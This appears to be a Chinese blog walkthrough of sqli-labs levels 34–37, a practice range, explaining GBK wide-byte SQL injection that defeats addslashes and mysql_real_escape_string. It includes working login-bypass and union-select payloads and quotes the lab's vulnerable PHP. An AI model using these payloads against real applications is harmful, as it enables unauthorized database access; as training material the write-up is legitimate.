本地:Win 10

靶场:sqli-labs(共65关,每日一关)

 

0x02 通关记录

简介:一天一关!

(34)第三十四关:

靶场练习-Sqli-labs通关记录(post型宽字节注入)(34-37关)

 

使用下面输入的语句可以成功注入并登录成功:

�' or 1=1#

 

因为这个编码是乱码,会启用gbk解码,所以变成了文字的注入,第36关特别详细,可以先查看36关的说明:

�%5c' or 1=1#           首先被过滤函数转义,加了个%5c
%EF%BF%BD%5c' or 1=1# 然后是自行url解码变成%EF%BF%BD%5c'
锟絓' or 1=1#             最后是gbk解码,发现可以注入! 

靶场练习-Sqli-labs通关记录(post型宽字节注入)(34-37关)

 

(35)第三十五关:

/ take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

这个也是考宽字节注入,不同的是没有加那个'号,用的那个过滤函数

靶场练习-Sqli-labs通关记录(post型宽字节注入)(34-37关)

 

 后面什么也不用输即可:

?id=-1%20 union select 1,user(),3--+

靶场练习-Sqli-labs通关记录(post型宽字节注入)(34-37关)

 

(36)第三十六关:

靶场练习-Sqli-labs通关记录(post型宽字节注入)(34-37关)

 

 36关就用的过滤函数不一样了,因此可以再回顾一下过滤函数:php内一些可以防止注入的函数

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 

下列字符受影响:
 \x00
 \n
 \r
 \
 '  "
 \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
?id=-1�'union select 1,user(),3--+

这里的语句设置了转义,同时在乱码会使用gbk编码:

mysql_query("set names 'gbk'");

我们输入

%EF%BF%BD%27
他首先会url解码成乱码,发现有个'就拼接了\\的url编码是%5c,因为是个乱码,所以,会使用gbk编码,然后就变成%EF%BF%BD%5c%27
靶场练习-Sqli-labs通关记录(post型宽字节注入)(34-37关)

 

 靶场练习-Sqli-labs通关记录(post型宽字节注入)(34-37关)

这里的乱码使用gbk进行解码,就变成了汉字,因此可以注入:

 靶场练习-Sqli-labs通关记录(post型宽字节注入)(34-37关)

靶场练习-Sqli-labs通关记录(post型宽字节注入)(34-37关)

 

 跟34关差不多的原理,这里我不再赘述。

 

(37)第三十七关:

靶场练习-Sqli-labs通关记录(post型宽字节注入)(34-37关)

 

 用户名和密码都设置了转义,然后在乱码时启用了gbk

�' or 1=1#

跟34关差不多,不再赘述。

靶场练习-Sqli-labs通关记录(post型宽字节注入)(34-37关)

相关文章:

  • 2021-08-27
  • 2021-10-15
  • 2022-12-23
  • 2022-02-23
  • 2022-12-23
  • 2022-02-07
  • 2021-06-03
猜你喜欢
  • 2021-06-21
  • 2021-08-09
  • 2021-09-21
  • 2022-02-02
  • 2022-01-27
  • 2022-03-03
  • 2022-01-26
相关资源
相似解决方案